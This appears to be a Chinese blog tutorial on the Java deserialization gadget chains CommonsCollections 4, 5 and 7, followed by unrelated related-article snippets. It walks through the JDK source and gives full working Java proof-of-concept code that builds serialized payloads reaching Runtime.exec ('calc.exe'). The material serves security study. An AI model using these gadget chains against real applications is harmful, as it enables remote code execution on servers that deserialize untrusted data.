Java反序列化之CommonsCollections4、5、7 链的学习

devtools/2024/11/14 15:04:52/

一、前言

前面的文章中,基本把CC链的关键部分学习的差不多了,利用过程也是比较清晰了,接下来把 CommonsCollections 4、5、7 利用链学习下,扩展下思路

二、CommonsCollections4 利用链的学习

运行环境:
java 1.8.0_71

commons-collections4.0

1、利用链说明

java">ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()newInstance()TrAXFilter#TrAXFilter()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses.newInstance()Runtime.exec()

整体来说,其实没有什么新的东西,类似CC2 和 CC3链的结合体, 用了PriorityQueue类,同时又避免用 IvokerTranformer;

测试POC如下:

java">TemplatesImplForCC4.javapackage com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;public class TemplatesImplForCC4 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}protected static byte[] getBytescode() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(Evil.class.getName());return clazz.toBytecode();}public static void main(String[] args) throws Exception {Templates obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});setFieldValue(obj, "_name", "Hello");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer faketransformer = (Transformer) new ConstantTransformer(1);Transformer transformer = (Transformer) new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});Comparator comparator = new TransformingComparator(faketransformer);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(TrAXFilter.class);queue.add(TrAXFilter.class);setFieldValue(comparator, "transformer", transformer);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}

三、CommonsCollections5 利用链的学习

运行环境:
java 1.8.0_71

commons-collections 3.2.1

java">Gadget chain:ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()Requires:commons-collections/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70*/

CC5链的利用还是着眼于 LazyMap.get(), 这里是找到 org.apache.commons.collections.keyvalue.TiedMapEntry,只是CC6链中是用org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()方法调用其getValue() 方法, CC5链用的是 org.apache.commons.collections.keyvalue.TiedMapEntry.toString() 方法

java">    public String toString() {return this.getKey() + "=" + this.getValue();}

也是调用getValue,跟之前的分析一致,测试代码

java">package com.govuln.shiroattack;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;public class CC5Test {public static void main(String[] args){ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})});HashMap innermap = new HashMap();LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);TiedMapEntry tiedmap = new TiedMapEntry(map,123);tiedmap.toString();}
}

所以,接下来要找的就是哪里在反序列化的时候会调用TiedMapEntry#toString() 

这个类就是  javax.management.BadAttributeValueExpException , 其readObject() 方法会调用toString()

查看下这个 valObj  是从哪里来的

这里是从Field 取出来的, 那么,利用方式就很清晰了, 通过设置   javax.management.BadAttributeValueExpException  中 val 的值为 TiedMapEntry对象即可触发命令执行,我们尝试下,发现没成功。

因为,如果一开始就给 val 赋值为 TiedMapEntry , 那么在赋值的时候就会触发rce

java">public BadAttributeValueExpException (Object val) {this.val = val == null ? null : val.toString();}

如果我们直接将构造好的 TiedMapEntry 传进去,实例化的时候就会触发toString,此时 val 的值为 ,这就导致后续反序列化的时候不会触发rce ,因为这个时候的 val 已经不是 TiedMapEntry对象了。 所以这里我们需要用反射的方式

反射poc如下:

java">package com.govuln.shiroattack;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;public class CommonsCollections5 {public static void main(String[] args) throws Exception{ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})});HashMap innerMap = new HashMap();LazyMap map = (LazyMap)LazyMap.decorate(innerMap, chain);TiedMapEntry tiedMap = new TiedMapEntry(map, 123);BadAttributeValueExpException poc = new BadAttributeValueExpException(123);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,tiedMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(poc);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}

四、CommonsCollections7 利用链的学习

首先,看看利用链

java">/* Payload method chain:java.util.Hashtable.readObjectjava.util.Hashtable.reconstitutionPutorg.apache.commons.collections.map.AbstractMapDecorator.equalsjava.util.AbstractMap.equalsorg.apache.commons.collections.map.LazyMap.getorg.apache.commons.collections.functors.ChainedTransformer.transformorg.apache.commons.collections.functors.InvokerTransformer.transformjava.lang.reflect.Method.invokesun.reflect.DelegatingMethodAccessorImpl.invokesun.reflect.NativeMethodAccessorImpl.invokesun.reflect.NativeMethodAccessorImpl.invoke0java.lang.Runtime.exec
*/

后半段还是 LazyMap#get 的利用链, 主要观察前半段,在CC1 的利用链中是通过 AnnotationInvocationHandler#invoke 来触发恶意代理handler 调用其 invoker 方法从而触发 LazyMap#get 方法    但是 CC7 链中是通过 org.apache.commons.collections.map.AbstractMapDecorator#AbstractMap#equals 来触发对 LazyMap#get 方法的调用。

通过利用链,我们正向分析下,入口点是  java.util.Hashtable.readObject, 跟进

java">    private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the length, threshold, and loadfactors.defaultReadObject();// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Compute new size with a bit of room 5% to grow but// no larger than the original size.  Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)(elements * loadFactor) + (elements / 20) + 3;if (length > elements && (length & 1) == 0)length--;if (origlength > 0 && length > origlength)length = origlength;table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}}

在最后调用的是 reconstitutionPut方法,这里的key、value值可以通过 hashtable中的put方法进行添加。 继续跟进  reconstitutionPut 方法

这里关键是 equals 方法的调用,先进入for 语句, 然后是个if判断语句, 必须是 e.hash == hash 判定为真才会执行后面的 e.key.equals(key) 。 

其中 hsah  就是 key.hashCode() , 那么再看 e是什么?

Entry<?,?> e = tab[index] ; e != null ; e = e.next

继续查看 index是什么

int index = (hash & 0x7FFFFFFF) % tab.length;

所以大概意思就是 ,先计算 key 的 hashCode(即hash值), 然后根据hash值 计算存储索引 index, 再通过 for循环得到 e.next 也就是上一个 map 键值对, 之后进入 if 判断两者 hash值是否相同, 找不到就把这个键值对加入到tab中, 如果hash相同的话,就进入 e.key.queals(key) 中。

那么是不是直接put两个key值一样的键值对进去呢,答案是不行,因为在 readObject中进行了判断:

可以看到还原table数组时是根据 elements 来判断的, 而如果key 相同时 element 计算会把两个map 计算为只有一个map。所以这里关键点是 ,put两个key不一样的 键值对,但是hash要相同,故这里可以用 hash碰撞来解决。

继续看调用的 equals 方法, 在利用链中 e.key 为LazyMap 对象,但是 LazyMap 对象没有 equals 方法, 不过它 继承了  AbstractMapDecorator 类,所以会调用AbstractMapDecorator 类 equals 方法

继续跟进会调用 map.equals()  ,而这里的map是什么呢?是在  Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);  所以这里的map 就是 HashMap, 但是 HashMap也没有 equals 方法,但是其继承了 AbstractMap 类。

所以这部分的利用就是 e.key 是 LazyMap的话,并且LazyMap 经过 LazyMap.decorate 包装了 HashMap,所以会依次调用 AbstractMapDecorator.equals() ---》 AbstractMap.equals()

在这里进行了 get方法的调用,条件是 value 不是 null时,同时m 为 LazyMap才能触发rce。 这里m是为传入 equals 的Object, 

如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发。 所以也就是java.util.Hashtable.HashTable#reconstitutionPut 传入的key 也必须是 LazyMap对象。

构造测试poc如下:

java">package com.govuln.shiroattack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7Test {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {// Reusing transformer chain and LazyMap gadgets from previous payloadsfinal String[] execArgs = new String[]{"calc.exe"};final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});final Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},execArgs),new ConstantTransformer(1)};Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObjectMap lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put("zZ", 1);// Use the colliding Maps as keys in HashtableHashtable hashtable = new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 2);Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");iTransformers.setAccessible(true);iTransformers.set(transformerChain,transformers);
//        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// Needed to ensure hash collision after previous manipulationslazyMap2.remove("yy");ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));objectOutputStream.writeObject(hashtable);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));objectInputStream.readObject();
//            return hashtable;}
}

注意点1: 为什么要用 Lazy2.remove("yy") ;  删除yy键值对?

因为hashtable.put(lazyMap2, 2);的时候处理和反序列化的处理类似,提前触发了一遍get,跟进put

这里会跟上面说的一样在进行判断的时候直接调用到get方法,然后提前执行给的ChainedTransformer, 还有在get执行的时候会添加key值,导致反序列化时就不能执行后续反射修改的恶意的transformers了。

所以在最后要删除掉 Lazy2的 yy键值对

继续改造下,既然上面计算hash调用的时候调用了 hashCode 方法,是不是可以结合CC6, 把key变成 TiedMapEntry , 然后触发 TiedMapEntry 的 hashCode 方法呢

构造poc:

java">package com.govuln.shiroattack;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class TiedMapforCC7 {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};ChainedTransformer cha = new ChainedTransformer(transformers);HashMap map2 = new HashMap();Map<Object, Object> Lazy = LazyMap.decorate(map2,new ConstantTransformer(1));Lazy.put("zZ",1);TiedMapEntry tie = new TiedMapEntry(Lazy,"aaa");Hashtable hashtable = new Hashtable();hashtable.put(tie,1);Lazy.remove("aaa");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(Lazy, cha);serilize(hashtable);deserilize("111.bin");}public static void serilize(Object obj)throws IOException {ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}
}


http://www.ppmy.cn/devtools/133946.html

相关文章

C++20新特性的补充讲解

C20 标志着 C 语言的一次重要更新&#xff0c;除了 Concepts、Ranges、协程等被广泛讨论的特性外&#xff0c;还有许多值得注意的改进。本文将详细探讨其他一些核心新特性&#xff0c;包括 constexpr 扩展、新增的 std::format、std::span、std::bit 操作、原子智能指针、char8…

DAY111PHP开发框架THIKNPHP反序列化POP利用链RCE执行文件删除

一、文件删除利用链分析 1、__destruct发现调用$this->removeFiles(); 2、removeFiles();函数方法file_exists&#xff0c;unlink($filename);文件删除功能 3、unserialize(base64_decode($_GET[id])); 有可控变量 4、pop文件删除利用链的使用 只有在这个类中调用 Files可…

通过C++跨平台的预编译宏来区分不同的操作系统:Win32/Win64/Unix/Linux/MacOS

因为 C 具有跨平台的特性&#xff0c;所以有些需求一套代码就多端使用&#xff0c;比如我最近在学习的 OpenGL ES。 但是&#xff0c;不同平台还是具有一定差异性&#xff0c;所以我们首先得判断出是什么平台&#xff1f; 比如 iOS 系统和 Android 系统。 那么如何判断呢&…

Springboot -- 自定义异常,异常处理

定义异常类 package com.shore.my_spring_demo.exception;import com.shore.my_spring_demo.common.enums.ErrorEnums; import lombok.Data; import lombok.EqualsAndHashCode;Data EqualsAndHashCode(callSuper false) public class UsersException extends RuntimeExceptio…

GitHub 上的开源项目推荐

GitHub 上的开源项目有成千上万&#xff0c;涵盖了从前端框架到数据科学、机器学习、系统工具等各个领域。不同的人根据兴趣和需求&#xff0c;可能会有不同的排名。不过&#xff0c;一些开源项目因为其广泛的应用、社区支持和技术创新&#xff0c;通常被认为是“最好”的开源项…

AUTOSAR CP Ethernet State Manager(EthSM)规范的主要功能以及工作原理导读

AUTOSAR Ethernet State Manager(以下简称EthSM)规范的主要功能 AUTOSAR Ethernet State Manager(以下简称EthSM)规范的主要功能包括: 通信控制 网络模式管理:为通信管理器(ComM)提供API,用于请求以太网网络的通信模式,如ETHSM_FULL_COMMUNICATION(全通信)、ETHSM_…

贪心算法入门(二)

相关文章 贪心算法入门&#xff08;一&#xff09;-CSDN博客 1.什么是贪心算法&#xff1f; 贪心算法是一种解决问题的策略&#xff0c;它将复杂的问题分解为若干个步骤&#xff0c;并在每一步都选择当前最优的解决方案&#xff0c;最终希望能得到全局最优解。这种策略的核心…

python入门3

IDE的概念 IDE(Integrated Development Environment)又被称为集成开发环境。说白了&#xff0c;就是有一款图形化界面的软件&#xff0c;它集成了编辑代码&#xff0c;编译代码&#xff0c;分析代码&#xff0c;执行代码以及调试代码等功能。在我们Python开发中&#xff0c;最常…